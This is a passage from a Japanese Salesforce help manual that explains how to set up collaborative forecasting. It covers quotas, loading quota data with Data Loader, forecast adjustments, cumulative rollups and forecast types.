Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測を無効にする前に、データにどのように影響するか
を確認してください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

警告: 特定の機能を無効化すると目標および調整データが消去される可能
性があるため、無効化する前にデータのエクスポートを検討してください。
設定の変更を完了したら、データを Salesforce にインポートし直すことがで
きます。期間を [毎月] から [毎四半期] または [毎四半期] から [毎月] に変更
すると、既存の値が新しい期間と連携しなくなるため、目標データまたは
調整データを Salesforce にインポートし直すことはできません。

消去される項目無効化する対象

調整 (売上予測階層はそのまま残りま
す)

コラボレーション売上予測

売上予測種別の目標および調整売上予測種別

調整調整

目標および調整[毎四半期] 期間を使用する [毎月] 期間
の設定
または
[毎月] 期間を使用する [毎四半期] 期間
の設定
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コラボレーション売上予測を無効にするには、Salesforce にお問い合わせください。
調整が売上予測から消去されても、売上予測が基づく基本データには影響しません。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測での売上予測の設定の定義

コラボレーション売上予測の目標

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

コラボレーション売上予測で目標を有効にし、ユーザが目標をアップロードし
て、その目標を売上予測金額と並べて表示できるようにします。
目標は、ユーザに割り当てられる月別または四半期別の売上目標です。マネー
ジャの売上目標は、マネージャおよびチームに期待される金額の合計と等しく
なります。目標の積み上げ集計はユーザおよびマネージャが手動で実行し、収
益または数量のデータを使用できます。複数の売上予測種別を有効にしている
場合、売上予測種別ごとに別々の目標情報が保持されます。
Lightning Experience では目標達成率情報を表示できません。

コラボレーション売上予測の目標の有効化
API アクセスがある場合、コラボレーション売上予測ユーザの目標をアップ
ロードして、その目標を営業チームの売上予測金額と並べて表示できます。
コラボレーション売上予測の目標データの読み込み
データローダまたは Salesforce API を使用して売上予測の目標データを読み込
みます。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
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コラボレーション売上予測の目標の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

ユーザ権限

「設定・定義を参照する」売上予測設定を参照する

「アプリケーションのカスタマイズ」売上予測設定を編集する

「内部ユーザの管理」

および

「アプリケーションのカスタマイズ」

売上予測ユーザを有効化する

「アプリケーションのカスタマイズ」

および

「目標を管理」

目標を管理する

「目標を管理」

および

Salesforce に目標データをアップロード
する

「すべての売上予測の参照」

API アクセスがある場合、コラボレーション売上予測ユーザの目標をアップロードして、その目標を営業チー
ムの売上予測金額と並べて表示できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイザブル売上予測] には適用され
ません。

1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上予測の設定] を選択します。
3. [目標] の下の [目標を表示] を選択します。
4. 変更内容を保存します。
Lightning Experience では目標達成率情報を表示できません。
コラボレーション売上予測を無効にすると、目標が無効になります。
データソースを変更するか、収益または数量の売上予測を無効にすると、関連する目標が消去されます。

関連トピック:

コラボレーション売上予測の目標データの読み込み
コラボレーション売上予測の概念
コラボレーション売上予測の設定に関するガイドライン
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コラボレーション売上予測の目標データの読み込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

ユーザ権限

「設定・定義を参照する」売上予測設定を参照する

「アプリケーションのカスタマイズ」売上予測設定を編集する

「内部ユーザの管理」

および

「アプリケーションのカスタマイズ」

売上予測ユーザを有効化する

「アプリケーションのカスタマイズ」

および

「目標を管理」

目標を管理する

「目標を管理」

および

Salesforce に目標データをアップロード
する

「すべての売上予測の参照」

データローダまたは Salesforce API を使用して売上予測の目標データを読み込みます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイザブル売上予測] には適用され
ません。

データローダでは、簡単なポイント & クリックで Salesforce のデータを追加、調査、および編集できます。API

の方が柔軟性は高くなりますが、コードを作成する必要があります。どちらの方法を使用する場合でも、API

アクセスを必ず有効にします。詳細は、「データローダ」を参照してください。
データローダを使用した目標の追加
目標をアップロードする前に、使用するデータローダのバージョンを考慮します。データローダ v.30 以降の場
合は、アップロードする目標ごとに売上予測種別を指定します。
1. User オブジェクトをクエリして、ユーザの ID を取得します。

データローダを使用して、ユーザの ID を取得します。
a. [設定] から、[クイック検索] ボックスに「データローダ」と入力し、[データローダ] を選択します。
b. データローダをダウンロードしてインストールします。
c. データローダを起動します。
d. [エクスポート] をクリックします。
e. ユーザ名とパスワードを入力して、[ログイン] をクリックします。
f. [次へ] をクリックします。
g. リストから User オブジェクトを選択します。
h. エクスポートするデータのファイル名とエクスポート先を選択します。
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i. [次へ] をクリックします。
j. [ID] および [名前] 項目を選択します。
k. [完了] をクリックしてから、[はい] をクリックします。
l. [抽出を表示] をクリックします。
m. [外部プログラムで開く] をクリックします。
n. .csv 形式でファイルを保存します。アップロードする前にユーザ名および ID を目標のスプレッドシート

に追加します。

2. データローダ v.30 以降を使用する場合は、ForecastingType オブジェクトをクエリして、売上予測種別の ID を
取得します。データローダ v.30 以降を使用しない場合は、ステップ 3 に進みます。
a. データローダを起動します。
b. [エクスポート] をクリックします。
c. ユーザ名とパスワードを入力して、[ログイン] をクリックします。
d. [次へ] をクリックします。
e. [Salesforce のすべてのオブジェクトを表示] をクリックします。
f. リストから売上予測種別オブジェクトを選択します。
g. エクスポートするデータのファイル名とエクスポート先を選択します。
h. [次へ] をクリックします。
i. [Id] および [DeveloperName] 項目を選択します。
j. [完了] をクリックしてから、[はい] をクリックします。
k. [抽出を表示] をクリックします。
l. [外部プログラムで開く] をクリックします。
m. .csv 形式でファイルを保存します。
n. 有効な各売上予測種別の DeveloperName および Id の値を記録します。すべての会社が、結果に表示

されるすべての売上予測種別を使用するとは限りません。特定の DeveloperNameで参照される売上予
測種別がわからない場合は、次のリストを参照してください。
• OpportunityRevenue: 商談 - 収益
• OpportunityQuantity: 商談 - 数量
• OpportunitySplitRevenue: 商談収益分割 - 収益
• OpportunityOverlayRevenue: 商談オーバーレイ分割 - 収益
• OpportunityLineItemRevenue: 商品ファミリ - 収益
• OpportunityLineItemQuantity: 商品ファミリ - 数量
• 売上予測種別として有効化されているカスタム商談分割種別の名前。カスタム分割種別は通貨項目

に基づいており、収益金額のみを保存できます。

o. DeveloperName と Id の列を目標のスプレッドシートに追加し、目標の売上予測種別の名前と ID を各
行に追加します。名前は、目標のアップロードに必要ありませんが、各行で操作する売上予測種別を把
握しやすくなります。
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3. アップロードする目標のスプレッドシートを準備します。
• データローダ v.30 以降を使用する場合は、ユーザ名、ユーザ ID、売上予測種別名、売上予測種別 ID、目

標金額、目標数量、通貨コード、および売上予測期間の開始日 [yyyy-mm-ddまたはyyyy-mm-ddThh:mm:ss.sssZ、
例: 2012–03–01T08:00:00.00Z] の列がある .csv ファイルを作成します。

• データローダ v.29 以前を使用する場合は、ユーザ名、ユーザ ID、目標金額、目標数量、通貨コード、お
よび売上予測期間の開始日 [yyyy-mm-dd または yyyy-mm-ddThh:mm:ss.sssZ、例: 2012–03–01T08:00:00.00Z] の列が
ある .csv ファイルを作成します。収益および数量の売上予測を使用する場合は、.csv ファイルの別々の
行にこの 2 つの目標を指定します。

ユーザ名または売上予測種別名の列は必要ありませんが、これらの列を追加することで、.csv ファイルの内
容がわかりやすくなります。

開始日通貨
コード

目標数
量

目標金
額

売上予測種別 ID
(データローダ v.30

以降の場合)

売上予測種別名
(データローダ

v.30 以降の場合)

ユーザ IDユーザ名

2012–03–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhKevin Bailey

2012–04–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhKevin Bailey

2012–05–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhKevin Bailey

2012–03–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhKevin Bailey

2012–04–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhKevin Bailey

2012–05–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhKevin Bailey

売上予測データソースが商品ファミリである場合、[商品ファミリ] の列を含めます (Lightning Experienceでは、
商品ファミリの売上予測ビューを使用できません)。

開始日通貨
コード

目標数
量

目標金
額

商品
ファミ

リ

売上予測種別 ID
(データローダ
v.30 以降の場

合)

売上予測種別名
(データローダ v.30

以降の場合)

ユーザ IDユーザ名

2012–03–01USD250000ハード
ウェア

0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhKevin Bailey

2012–03–01USD150000ソフト
ウェア

0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhKevin Bailey

2012–03–01USD50000サービ
ス

0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhKevin Bailey

2012–03–01500ハード
ウェア

0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhKevin Bailey

2012–03–01300ソフト
ウェア

0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhKevin Bailey
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開始日通貨
コード

目標数
量

目標金
額

商品
ファミ

リ

売上予測種別 ID
(データローダ
v.30 以降の場

合)

売上予測種別名
(データローダ v.30

以降の場合)

ユーザ IDユーザ名

2012–03–01100サービ
ス

0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhKevin Bailey

4. データローダを使用して、目標情報を Salesforce にアップロードします。
a. データローダを起動します。
b. [挿入] をクリックします。
c. ユーザ名とパスワードを使用してログインします。
d. [次へ] をクリックします。
e. [Salesforce のすべてのオブジェクトを表示] をクリックします。
f. リストから売上予測目標オブジェクトを選択します。
g. [参照] をクリックして、アップロードする .csv ファイルを選択します。
h. [次へ] をクリックします。
i. [データ選択] ダイアログボックスで [OK] をクリックします。
j. [対応付けを作成または編集する] をクリックします。
k. 次の表のように、列を ForecastingQuota オブジェクトの項目に対応付けます。

ForecastingQuota の項目CSV ファイルの列ヘッダー

QuotaOwnerIDユーザ ID

QuotaAmount目標金額
QuotaQuantity目標数量
CurrencyIsoCode通貨コード
StartDate開始日
ProductFamily商品ファミリ (売上予測データソースが商品ファミ

リのときのみ必要)

ForecastingTypeID売上予測種別 ID (データローダ v.30 以降にのみ必要)

l. [OK] をクリックします。
m. [次へ] をクリックします。
n. [参照]をクリックして、アップロードの成功または失敗に関するメッセージを格納するログファイルの

保存先となるディレクトリを選択します。
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o. [完了] をクリックします。
p. [はい] をクリックして、アップロードを続行します。
q. [OK] をクリックします。

ベストプラクティスとして、目標所有者の個人設定の通貨で目標データを読み込みます。[目標を表示] が無
効である場合でも、API を使用すると、目標データをアップロードできます。データローダのタイムゾーン設
定が目標所有者のタイムゾーンより先の場合、1 か月ずれることがあります。この問題を回避するには、目標
を挿入するときに月の 3 日以降の日付を使用します。
API を使用した目標のアップロード
API を使用して目標情報をアップロードする場合、操作する目標データの種類に応じて、正しい API バージョン
を使用してください。複数の売上予測種別を有効にしている場合、売上予測種別ごとに別々の目標情報が保持
されます。

使用する API バージョンインポートするタイミング

25.0 以降商談ベースの売上予測の収益目標

28.0 以降商談ベースの売上予測の数量目標

29.0 以降商談分割ベースの売上予測の収益目標

29.0 以降商品ファミリベースの売上予測の収益目標または数量
目標

30.0 以降複数の売上予測種別が有効になっている組織の目標

関連トピック:

コラボレーション売上予測の目標の有効化
データローダを使用すると日付項目のインポートが正しく行われないのはなぜですか?
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売上予測の調整

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の売上予測調整を有効にすると、営業チームが必要
に応じて売上予測を調整できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測の売上予測調整の有効化
マネージャが部下の売上予測を調整すること、すべての売上予測ユーザが各
自の売上予測を調整すること、またはその両方を可能にします。
コラボレーション売上予測の売上予測調整の無効化
売上予測マネージャが部下の売上予測金額を調整しないようにする場合、ま
たは売上予測の所有者が自分の売上予測を調整しないようにする場合は、売
上予測調整をオフにします。ユーザ権限の更新は不要です。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
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コラボレーション売上予測の売上予測調整の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

マネージャが部下の売上予測を調整すること、すべての売上予測ユーザが各自
の売上予測を調整すること、またはその両方を可能にします。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 売上予測階層を設定します。
2. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
3. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
4. 売上予測マネージャが部下の売上予測金額を調整できるようにするには、[売

上予測調整を有効化] で [マネージャによる調整を有効化] を選択します。
5. すべての売上予測ユーザが各自の売上予測金額を調整できるようにするに

は、[売上予測調整を有効化] で [所有者による調整を有効化] を選択します。

メモ: 商品ファミリの売上予測を使用している場合、ユーザは各自の商
品ファミリの売上予測金額を調整することはできません。

6. 変更内容を保存します。
7. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
8. 調整を有効化するプロファイルを検索します。
9. 拡張プロファイルユーザインターフェースを使用している場合、[アプリケー

ション権限]、[編集] の順にクリックします。
10. [売上予測の上書き] を選択して、変更を保存します。
複数の売上予測種別を有効にしている場合、売上予測種別ごとに別々の調整が
保持されます。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測での売上予測の調整
コラボレーション売上予測の設定に関するガイドライン
会社の売上予測日付範囲の定義
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コラボレーション売上予測の売上予測調整の無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測ユーザを有効に
する
• 「ユーザの管理」

および

「アプリケーションの
カスタマイズ」

売上予測マネージャが部下の売上予測金額を調整しないようにする場合、また
は売上予測の所有者が自分の売上予測を調整しないようにする場合は、売上予
測調整をオフにします。ユーザ権限の更新は不要です。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

警告: 売上予測調整を無効にすると、すべての売上予測種別で既存の調整
が消去されます。調整を無効にする前に、「コラボレーション売上予測で
の調整消去」を参照してください。特定の機能を無効化すると目標および
調整データが消去される可能性があるため、無効化する前にデータのエク
スポートを検討してください。設定の変更を完了したら、データをSalesforce

にインポートし直すことができます。
1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
3. 売上予測マネージャが部下の売上予測金額を調整できないようにするには、

[売上予測調整を有効化] で [マネージャによる調整を有効化] を選択解除しま
す。

4. すべての売上予測ユーザが自分の売上予測金額を調整できないようにするに
は、[売上予測調整を有効化] で [所有者による調整を有効化] を選択解除しま
す。

5. 変更内容を保存します。
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累積売上予測積み上げ集計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

営業チームが商談をコラボレーション売上予測に積み上げ集計する方法を指定
します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測の累積売上予測積み上げ集計
商談を営業チームの売上予測に積み上げ集計する方法について説明します。
コラボレーション売上予測の累積売上予測積み上げ集計の有効化
累積売上予測積み上げ集計列または個別の売上予測分類列を選択します。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

コラボレーション売上予測の累積売上予測積み上げ集計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

商談を営業チームの売上予測に積み上げ集計する方法について説明します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• 個別の売上予測分類積み上げ集計では、各売上予測分類の商談を分類ごとに
別々の売上予測金額にまとめます。

• 累積売上予測積み上げ集計では、複数の売上予測分類の商談を累積売上予測
金額にまとめます。

デフォルトの積み上げ集計設定は、個別の売上予測分類積み上げ集計です。[累
積売上予測積み上げ集計]を選択した場合は、商談を売上予測金額に積み上げ集
計する方法が異なります。また、売上予測ページの列名も異なります。

積み上げ集計される商談売上予測ページの列名分類積み上げ集計
方法

パイプラインパイプライン個別

最善達成予測最善達成予測

達成予測達成予測

完了完了
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積み上げ集計される商談売上予測ページの列名分類積み上げ集計方法

進行中のパイプライン累積 • パイプライン
• 最善達成予測
• 達成予測

最善達成予測の売上予測 • 最善達成予測
• 達成予測
• クローズ済み

達成予測の売上予測 • 達成予測
• クローズ済み

完了完了のみ

累積売上予測積み上げ集計の利点
売上予測分類ごとの積み上げ集計では、それぞれの合計と小計は、1 つの売上予測分類のみの商談を表しま
す。この種類の積み上げ集計では、売上予測ユーザが 1 か月または 1 四半期の合計を求める場合に、最善達成
予測、達成予測、完了の売上予測金額を合計する必要があります。

例: 個別の売上予測積み上げ集計

パイプライン最善達成予測達成予測完了売上予測金額
$200$150$100$50

パイプライン最善達成予測達成予測完了商談
$50 • $50• $50• $50

• • $50• $50$50

•• $50$50

• $50

累積売上予測積み上げ集計では、販売段階内の指定された売上予測分類およびそれ以降の売上予測分類の商談
から、累積金額が売上予測列に表示されます。この表示により、分類合計を営業チームメンバーが自分で計算
しなくても、予測される合計金額を簡単に確認することができます。
たとえば、次の表に、4 つのパイプライン、3 つの最善達成予測、2 つの達成予測、1 つの完了商談があり、そ
れぞれが $50 の場合の累積売上予測積み上げ集計金額を示します。

例: 累積売上予測積み上げ集計

進行中のパイプライ
ン

最善達成予測の売上
予測

達成予測の売上予測完了のみ売上予測金額
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例: 累積売上予測積み上げ集計

$450$300$150$50

パイプライン最善達成予測達成予測完了商談
$50 • $50• $50• $50

• • $50• $50$50

•• $50$50

• $50

メモ: 売上予測の履歴トレンドを累積売上予測積み上げ集計と共に使用することはできません。

コラボレーション売上予測の累積売上予測積み上げ集計の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測設定を参照する
• 「設定・定義を参照す

る」

売上予測設定を編集する
• 「アプリケーションの

カスタマイズ」

累積売上予測積み上げ集計列または個別の売上予測分類列を選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

売上予測列の表示を変更すると、[達成予測] および [最善達成予測] の売上予測金
額へのすべての調整が消去されますが、目標データは消去されません。
1. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
2. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
3. [累積売上予測積み上げ集計を有効化] を選択して、変更を保存します。
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売上予測種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

売上予測種別を使用して、営業チームがコラボレーション売上予測で最大限の
柔軟性を得られるようにします。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測の売上予測種別
売上予測種別は特定のデータ型を使用するように設定された売上予測です。
商談の [金額] 項目、商談分割、オーバーレイ分割、カスタム商談項目、商
品ファミリを使用できます。各売上予測種別では、単位として収益または数
量を指定します。
コラボレーション売上予測の売上予測種別の有効化
営業チームが売上予測の 4 つの種別から選択し、複数の観点から売上を予測
できます。
営業マネージャのコラボレーション売上予測の収益分割売上予測またはオー
バーレイ分割売上予測の有効化
収益分割売上予測を追加すると、営業チームが複数の営業担当の商談から収
益を追跡できます。オーバーレイ売上予測を追加すると、営業チームがオー
バーレイ営業ロールからの収益を追跡できます。
営業マネージャのコラボレーション売上予測のカスタム項目売上予測の有効
化
営業チームが売上予測を実行する各カスタム商談項目で、項目に分割が含まれていない場合でも、カスタ
ム分割種別を有効にします。営業担当者が商談を作成すると、この担当者は有効にされた 100% 検証済みの
カスタム分割種別に対し、100% 分割を受け取ります。カスタム項目を分割しない場合でも、売上予測積み
上げ集計にはカスタム項目の金額の 100% が含まれます。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
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コラボレーション売上予測の売上予測種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

売上予測種別は特定のデータ型を使用するように設定された売上予測です。商
談の [金額]項目、商談分割、オーバーレイ分割、カスタム商談項目、商品ファ
ミリを使用できます。各売上予測種別では、単位として収益または数量を指定
します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

積み上げ集計の基礎となる項目売上予測種別

商談の [金額] 項目。商談 - 収益

商談の [数量] 項目。商談 - 数量

商談の [金額] 項目。売上予測金額は
商品ファミリで分類されます。商品
ファミリの売上予測を使用するには、
商談商品と商品ファミリを使用しま
す。

商品ファミリ - 収益

商談の [数量] 項目。売上予測金額は
商品ファミリで分類されます。商品
ファミリの売上予測を使用するには、

商品ファミリ - 数量

商談商品と商品ファミリを使用しま
す。

商談の [金額] 項目と各営業チームメ
ンバーの分割率。商談分割 - 収益売上

商談分割 - 収益

予測の場合、各商談の分割率の合計は
100% になる必要があります。商談分割
の売上予測を使用するには、商談チー
ム、商談分割、および収益分割種別を
有効化します。

商談の [金額] 項目と各オーバーレイ
営業チームメンバーの分割率。オー

オーバーレイ分割 - 収益

バーレイ分割 - 収益売上予測の場合、
分割率の合計は 100% にならなくても
問題ありません。オーバーレイ分割の
売上予測を使用するには、商談チー
ム、商談分割、およびオーバーレイ分
割種別を有効化します。

指定したカスタム商談通貨項目の金
額。カスタム商談通貨項目の売上予測

カスタム商談通貨項目 - 収益

を使用するには、商談チームおよび商
談分割が有効化されている必要があり
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積み上げ集計の基礎となる項目売上予測種別

ます。項目金額のクレジットを分割しない場合でも、
項目のカスタム分割種別を有効化します。

商談の [期待収益]項目の金額。[期待収益]項目で売
上予測を行うには、商談チームおよび商談分割を有効

期待収益 - 収益

化します。項目金額のクレジットを分割しない場合で
も、項目のカスタム分割種別を有効化します。

商談
• 商談の [金額] 項目で売上予測を行うには、商談収益の売上予測を使用します。
• 商談の [数量] 項目で売上予測を行うには、商談数量の売上予測を使用します。

商品ファミリ
会社が商品とサービスをファミリにグループ化していて、それらのファミリに基づく売上予測が必要な場合
は、商品ファミリ売上予測を使用します。商品ファミリを使用する場合は、次の点に留意してください。
• Lightning Experience では、商品ファミリの売上予測ビューを使用できません。
• [金額] 列は、売上予測ページの商談リスト内に表示されます。
• 売上予測は、収益、数量、またはその両方に基づいて行うことができます。
• 売上予測ユーザは、売上予測階層で自分より下位の営業チームメンバーごとに個々の商品ファミリ売上予

測を表示できます。
• 商談商品と商品ファミリを使用します。
• 商品レコードごとに [商品ファミリ] 項目を入力することをお勧めします。[商品ファミリ] 値が存在しない

商品の売上予測は、[分類されていない商品] という売上予測行に表示されます (商談に品目がない場合、商
談の金額または数量もこの行に表示されます)。

• 営業担当の商品ファミリ売上予測を調整できますが、営業担当のすべての商品ファミリの合計売上予測を
直接調整することはできません。

• 営業担当ごとに個別の商品ファミリの目標を設定できますが、営業担当ごとに単一の目標を設定すること
はできません。

商談分割
営業チームがチームセリングと商談分割を使用している場合、商談分割の収益売上予測を使用します。商談分
割を使用する場合は、次の点に留意してください。
• 収益に基づく売上予測はできますが、数量に基づく売上予測はできません。
• チームセリング、商談分割、収益分割種別が有効化されている必要があります。
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オーバーレイ分割
オーバーレイ分割を使用すれば、商談の成立には貢献しても、直接担当していない営業チームメンバーの収益
を追跡できます。
• 特定の商談のオーバーレイ分割の合計は 100% にならなくても問題ありません。
• 収益に基づく売上予測はできますが、数量に基づく売上予測はできません。
• チームセリング、商談分割、オーバーレイ分割種別が有効化されている必要があります。

カスタム商談通貨項目
カスタム通貨項目を商談に使用している場合、これらの項目の金額に基づいて売上予測を行うことができま
す。
• 項目はカスタム通貨項目である必要があるため、収益に基づく売上予測はできますが、数量に基づく売上

予測はできません。
• 商談分割が含まれているかどうかに関係なく、カスタム項目に基づいて売上予測を行うことができます。
• 項目で分割が使用されているかどうかに関係なく、この項目のチームセリング、商談分割、およびカスタ

ム分割種別が有効化されている必要があります。

期待収益
[金額]項目の値と、商談による実際の収益が異なることが多い場合、商談の [期待収益]項目が役立ちます。
営業チームがこの違いを予測している場合、[期待収益] 項目を使用してその項目に基づいて売上予測を行う
ことを考慮します。
• 収益に基づく売上予測はできますが、数量に基づく売上予測はできません。
• 商談分割を併用するかどうかに関係なく、[期待収益] 項目に基づいて売上予測を行うことができます。
• [期待収益]項目で分割を使用するかどうかに関係なく、この項目のチームセリング、商談分割、およびカ

スタム分割種別を有効化する必要があります。
複数の売上予測種別を有効にすると、売上予測ごとに表示される商談情報をカスタム売上予測ビューでカスタ
マイズできます。
たとえば、営業チームが商談および商品ファミリからの収益を予測する場合、収益に基づく商談および商品
ファミリの売上予測を有効化します。
売上予測積み上げ集計ごとに各営業担当者の総収益を表示している商談収益の売上予測ページを次に示しま
す。
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各ユーザは売上予測種別メニューを使用して、ある売上予測種別から別の売上予測種別に売上予測ビューを変
更できます。

売上予測種別を [商品ファミリ収益] に変更すると、商品ファミリごとに各営業担当の総収益が表示されます。
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コラボレーション売上予測の売上予測種別の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測種別を有効にす
る
• 「アプリケーションの

カスタマイズ」

営業チームが売上予測の 4 つの種別から選択し、複数の観点から売上を予測で
きます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

商談と商品ファミリでは、数量と収益に対して売上予測種別を設定できます。
商談分割では、収益のみを選択できます。
売上予測種別を有効にすると、Salesforce の商談、ユーザ、および商品ファミリ
の数に応じて、新しい売上予測の初回の計算に少し時間がかかる場合がありま
す。
1. 各売上予測種別の詳細を確認します。
2. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
3. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
4. 次のいずれかの操作を実行します。

• 売上予測種別が有効になっていない場合は、[売上予測種別を追加] をク
リックします。

• 少なくとも 1 つの売上予測種別が有効になっている場合は、[別の売上予
測種別を追加] をクリックします。

5. [売上予測種別] メニューで、売上予測に使用するデータソースを選択します。
6. 使用する売上予測単位 ([収益] または [数量]) を選択します。両方を使用する

には、売上予測単位ごとに別個の売上予測種別を追加します。
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7. 売上予測種別の売上予測ページで関連商談リストに表示する列を選択します。
売上予測データソースが商談または商品ファミリの場合、デフォルトで [金額] 項目が表示されます。売
上予測データソースが商談分割の場合、デフォルトで [売上予測金額] 項目と [分割 %] 項目が表示されま
す。有効にした後でも、売上予測種別ごとに選択した項目を変更することができます。売上予測種別で収
益単位または数量単位のいずれを使用するかに応じて、[金額] または [数量] をペインに追加することを
検討してください。

8. [OK] をクリックして、変更を保存します。
9. 追加する売上予測種別ごとに、この手順を繰り返します。

警告: 売上予測種別を無効にすると、関連するすべての目標と調整情報が消去されます。

関連トピック:

コラボレーション売上予測の概念
